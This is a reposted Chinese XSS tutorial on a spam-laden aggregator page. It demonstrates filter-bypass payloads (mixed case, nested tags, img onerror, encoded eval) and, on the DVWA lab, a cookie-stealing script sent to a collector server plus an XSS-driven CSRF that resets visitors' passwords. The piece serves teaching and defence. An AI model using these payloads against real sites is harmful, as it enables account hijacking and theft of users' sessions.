当前位置: 首页 > news >正文

网站建设公司推广网站品牌运营编程网站scratch

网站建设公司推广网站品牌运营,编程网站scratch,北京企业推广,网站制作与设计知识点本文《浅谈XSS攻击的那些事#xff08;附常用绕过姿势#xff09;》 由一叶知安团队原创投稿安全脉搏首发#xff0c;作者geek痕,安全脉搏独家首发表本文#xff0c;如需要转载#xff0c;请先联系安全脉搏授权#xff1b;未经授权请勿转载。随着互联网的不断发展#x… 本文《浅谈XSS攻击的那些事附常用绕过姿势》 由一叶知安团队原创投稿安全脉搏首发作者geek痕,安全脉搏独家首发表本文如需要转载请先联系安全脉搏授权未经授权请勿转载。 随着互联网的不断发展web应用的互动性也越来越强。但正如一个**会有两面一样在用户体验提升的同时安全风险也会跟着有所增加。今天我们就来讲一讲web渗透中常见的一种攻击方式XSS攻击。 首先什么是XSS攻击。 先上一段标准解释摘自百度百科。 “XSS是跨站脚本攻击(Cross Site Scripting)为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码当用户浏览该页之时嵌入其中Web里面的Script代码会被执行从而达到恶意攻击用户的目的。” 相信以上的解释也不难理解但为了再具体些这里举一个简单的例子就是留言板。我们知道留言板通常的任务就是把用户留言的内容展示出来。正常情况下用户的留言都是正常的语言文字留言板显示的内容也就没毛病。然而这个时候如果有人不按套路出牌在留言内容中丢进去一行”scriptalert(“hey!you are attacked”)/script那么留言板界面的网页代码就会变成形如以下 html head title留言板/title /head body div idboard scriptalert(hey!you are attacked)/script /div /body /html那么这个时候问题就来了当浏览器解析到用户输入的代码那一行时会发生什么呢答案很显然浏览器并不知道这些代码改变了原本程序的意图会照做弹出一个信息框。就像这样。 说完什么是XSS再来谈一谈XSS的危害。 其实归根结底XSS的攻击方式就是想办法“教唆”用户的浏览器去执行一些这个网页中原本不存在的前端代码。可问题在于尽管一个信息框突然弹出来并不怎么友好但也不至于会造成什么真实伤害啊。的确如此但要说明的是这里拿信息框说事仅仅是为了举个栗子真正的黑客攻击在XSS中除非恶作剧不然是不会在恶意植入代码中写上alert(say something)的。在真正的应用中XSS攻击可以干的事情还有很多这里举两个例子。 窃取网页浏览中的cookie值。在网页浏览中我们常常涉及到用户登录登录完毕之后服务端会返回一个cookie值。这个cookie值相当于一个令牌拿着这张令牌就等同于证明了你是某个用户。如果你的cookie值被窃取那么攻击者很可能能够直接利用你的这张令牌不用密码就登录你的账户。如果想要通过script脚本获得当前页面的cookie值通常会用到cookie。试想下如果像空间说说中能够写入xss攻击语句那岂不是看了你说说的人的号你都可以登录不过貌似QQ的cookie有其他验证措施保证同一cookie不能被滥用劫持流量实现恶意跳转。 这个很简单就是在网页中想办法插入一句像这样的语句 scriptwindow.location.hrefhttp://www.baidu.com;/script那么所访问的网站就会被跳转到百度的首页。 早在2011年新浪就曾爆出过严重的xss漏洞导致大量用户自动关注某个微博号并自动转发某条微博。具体各位可以自行百度。   那xss漏洞很容易被利用吗那倒也未必。 毕竟在实际应用中web程序往往会通过一些过滤规则来组织代有恶意代码的用户输入被显示。不过这里还是可以给大家总结一些常用的xss攻击绕过过滤的一些方法算是抛砖引玉。以下的绕过方式皆通过渗透测试平台Web For Pentester 演示 大小写绕过。 这个绕过方式的出现是因为网站仅仅只过滤了script标签而没有考虑标签中的大小写并不影响浏览器的解释所致。具体的方式就像这样 利用语句 http://192.168.1.102/xss/example2.php?namesCriptalert(hey!)/scRipt   利用过滤后返回语句再次构成攻击语句来绕过。 这个字面上不是很好理解。用实例来说。 如下图在这个例子中我们直接敲入script标签发现返回的网页代码中script标签被去除了但其余的内容并没有改变。   于是我们就可以人为的制造一种巧合让过滤完script标签后的语句中还有script标签毕竟alert函数还在像这样 http://192.168.1.102/xss/example3.php?namesCriscriptptalert(hey!)/scRi/scriptpt 发现问题了吧这个利用原理在于只过滤了一个script标签。 并不是只有script标签才可以插入代码 在这个例子中我们尝试了前面两种方法都没能成功原因在于script标签已经被完全过滤但不要方能植入脚本代码的不止script标签。 例如这里我们用img标签做一个示范。 我们利用如下方式 http://192.168.1.102/xss/example4.php?nameimg srcw.123 οnerrοralert(hey!)   就可以再次愉快的弹窗。原因很简单我们指定的图片地址根本不存在也就是一定会发生错误这时候onerror里面的代码自然就得到了执行。 以下列举几个常用的可插入代码的标签。 a οnmοusemοve’do something here’ 当用户鼠标移动时即可运行代码 div οnmοuseοver‘do something here’ 当用户鼠标在这个块上面时即可运行可以配合weight等参数将div覆盖页面鼠标不划过都不行 类似的还有onclick这个要点击后才能运行代码条件相对苛刻就不再详述。   编码脚本代码绕过关键字过滤。   有的时候服务器往往会对代码中的关键字如alert进行过滤这个时候我们可以尝试将关键字进行编码后再插入不过直接显示编码是不能被浏览器执行的我们可以用另一个语句eval来实现。eval()会将编码过的语句解码后再执行简直太贴心了。 例如alert(1)编码过后就是\u0061\u006c\u0065\u0072\u0074(1)所以构建出来的攻击语句如下 http://192.168.1.102/xss/example5.php?namescripteval(\u0061\u006c\u0065\u0072\u0074(1))/script   主动闭合标签实现注入代码。   来看这份代码 乍一看哇自带script标签。再一看WTF填入的内容被放在了变量里 这个时候就要我们手动闭合掉两个双引号来实现攻击别忘了javascript是一个弱类型的编程语言变量的类型往往并没有明确定义。 思路有了接下来要做的就简单了利用语句如下 http://192.168.1.102/xss/example6.php?name;alert(I am coming again~); 效果如图。 回看以下注入完代码的网页代码发现我们一直都在制造巧合。。 先是闭合引号然后分号换行加入代码再闭合一个引号搞定   组合各种方式   在实际运用中漏洞的利用可能不会这么直观需要我们不断的尝试甚至组合各种绕过方式来达到目的。   介绍完一些常用的绕过方式再倒回来讲一下XSS分类因为下面讲具体的应用时会用到。 XSS攻击大致上分为两类一类是反射型XSS又称非持久型XSS另一类则与之相对称作储存型XSS也就是持久型XSS。 先来讲什么是反射型XSS。其实我们上面讲XSS的利用手段时所举的例子都是非持久型XSS也就是攻击相对于访问者而言是一次性的具体表现在我们把我们的恶意脚本通过url的方式传递给了服务器而服务器则只是不加处理的把脚本“反射”回访问者的浏览器而使访问者的浏览器执行相应的脚本。也就是说想要触发漏洞需要访问特定的链接才能够实现。 再说储存型XSS它与反射型XSS最大的不同就是服务器再接收到我们的恶意脚本时会将其做一些处理例如储存到数据库中然后当我们再次访问相同页面时将恶意脚本从数据库中取出并返回给浏览器执行。这就意味着只要访问了这个页面的访客都有可能会执行这段恶意脚本因此储存型XSS的危害会更大。还记得在文章开头提到的留言板的例子吗那通常就是储存型XSS。当有人在留言内容中插入恶意脚本时由于服务器要像每一个访客展示之前的留言内容所以后面的访客自然会接收到之前留言中的恶意脚本而不幸躺*。这个过程一般而言只要用户访问这个界面就行了不像反射型XSS需要访问特定的URL。   区别完两种XSS类型下面来讲几个实例应用。 劫持访问 劫持访问就是在恶意脚本中插入诸如scriptwindow.location.hrefhttp://www.baidu.com;/script的代码那么页面就会跳转到百度首页。劫持访问在持久型和非持久型XSS中都比较常被利用。持久型XSS中劫持访问的危害不用说大家都清楚但有人会问非持久型XSS中劫持访问有什么作用呢很简单试想下像qq.combaidu.com这样的域名下出现非持久型XSS那么在发送钓鱼链接时就可以通过qq.com等域名进行跳转一般人一看到qq.com之类的域名警惕性会下降也就更容易上当了。 盗用cookie实现无密码登录 具体原理上文已经提到这里做一个具体演示。由于盗取的cookie需要传回给攻击者因此往往需要一个服务器来接收盗取的cookie这也就是xss平台的作用了。网上的xss平台很多但动手搭建一个也不难建议有条件的自己搭建。 首先登录平台后台获取到js脚本地址为http://127.0.0.1/XSS/template/default.js所以我们需要做的是把这段代码植入指定页面。 script typetext/javascript srchttp://127.0.0.1/XSS/template/default.js/script 这里以DVWA渗透测试平台为例 我们发现网页对于message长度有限制。审查元素看一下。   发现最大长度有限制但这仅仅是前端的限制直接双击修改成更大的数字即可。再次尝试没问题我们已经将脚本植入完毕。 然后就是坐等别的用户访问这个界面。 这时另一个用户gordonb登录并访问了留言界面那么他的cookie就会被窃取。我们可以从xss平台的后台获取到。 拿到cookie之后要登录他的帐号就好办了。 打开登录界面调出火狐的firebug插件调至cookie选项卡注意如果你的firebug插件没有cookie选项卡请再安装firecookie插件即可看到 然后依次点击cookies-create cookie随后再弹出的界面中填入两个xss平台获取到的cookie如图   这里注意要把我箭头所指的地方勾上这是设置cookie有效期的地方不然会在设置完下一秒cookie就失效。 完成之后再次刷新页面发现已经不是之前的登录界面了而是登录后的界面。至此一个从cookie窃取到利用的过程就已完成。 配合csrf攻击完成恶意请求 先简单解释以下csrf攻击。Csrf攻击就是在未经你许可的情况下用你的名义发送恶意请求比如修改密码银行转账等下面演示一个用xss配合csrf修改用户密码的例子。 首先对修改用户密码的界面进行抓包。 发现没有对原密码进行校验。于是一股邪恶的力量油然而生要是在xss的恶意脚本中自动提交get请求修改密码的话。。。 说干就干具体插入语句如下。 script typetext/javascript srchttp://127.0.0.1/test/vulnerabilities/csrf/?password_new123456password_conf123456ChangeChange#/script 有人会问这不是引用脚本吗?其实不然本质上这还是发起了一起get请求因此可以直接使用。与上例一样插入到message中再坐等上钩。等下一个用户访问该界面时密码就会被改为123456惹 我们再看下访问该页面时的抓包情况发现每次访问该页面都发送了更改密码的请求 效果看数据库密码md5加密 访问了该页面的用户密码都被更改了。 防范手段 都说知己知彼方能百战不殆知道了xss攻击的原理那么防御的方法也就显而易见了。 首先是过滤。对诸如script、img、a等标签进行过滤。 其次是编码。像一些常见的符号如在输入的时候要对其进行转换编码这样做浏览器是不会对该标签进行解释执行的同时也不影响显示效果。 最后是限制。通过以上的案例我们不难发现xss攻击要能达成往往需要较长的字符串因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。   后话 安全攻防双方的博弈永远都不会停止也正是这种博弈推进了信息安全的发展。究竟是道高一尺还是魔高一丈很难定论。其实安全问题归根结底还是一个信任的前提。什么输入值得信任什么输入不值得信任需要特殊处理是安全人员常常要思考的一个问题。 以上内容如有错误之处敬请指正谢谢 本文《浅谈XSS攻击的那些事附常用绕过姿势》 由一叶知安团队原创投稿安全脉搏首发作者geek痕,安全脉搏独家首发表本文如需要转载请先联系安全脉搏授权未经授权请勿转载。 本文作者一叶知安 pspan stylecolor: #00B050;strong本文为安全脉搏专栏作者发布转载请注明/strong/spana hrefhttps://www.secpulse.com/archives/57411.html target_blank stylecolor: rgb(0, 176, 80); text-decoration: underline;span stylecolor: #00B050;stronghttps://www.secpulse.com/archives/57411.html/strong/span/a/p/div
http://www.zqtcl.cn/news/791054/

相关文章:

  • 怎么进行网站优化wordpress wampserver
  • 德州市经济开发区建设局网站360免费建站怎么进不去
  • 免费黄页营销网站用wordpress写公司官网
  • 网站建立的研究方案注册公司需要怎么注册
  • 云服务器怎么做网站右26cm
  • php网站的部署老虎淘客系统可以做网站吗
  • 建设一个网站的技术可行性研究怎么找网红合作卖东西
  • 深圳网站设计师培训学校大气全屏通用企业网站整站源码
  • 献县网站建设价格动漫网站设计方案
  • 怎样制作网站电话怎么做网络推广优化
  • 自己有服务器如何建设微网站网站建设的开发方式和费用
  • 网站如何接入支付宝可以看网站的浏览器
  • 档案网站建设的原则网页设计html代码可以查重吗
  • 万宁网站建设公司新乡市延津县建设局网站
  • 校园网站建设的意义2016wordpress淘宝客程序
  • 翻书效果的网站餐厅网站设计
  • 多少钱算网站中山 网站定制
  • 镇江网站制作价格如何计算本地生活服务平台app
  • 洞泾网站建设怎么做推广赚佣金
  • 三拼域名做网站大连自助建站软件
  • 怎么做hs网站最专业的网站开发公司哪家最专业
  • 南京做网站的公司排名科技:开局研发六代战机许禾
  • 网站怎么做搜索引擎淘宝网站怎么做特价
  • 仿制网站建设oa办公系统官网
  • 深圳网站托管企业建站源码系统
  • 个人空间网站建设报告建站是什么东西
  • 好看的模板网站建设西安网站模板建站
  • 建设网站二级子页打不开广告设计平面设计培训班
  • 网站公司做网站要多少钱新乡
  • 天津谁做网站莱芜人才网招聘网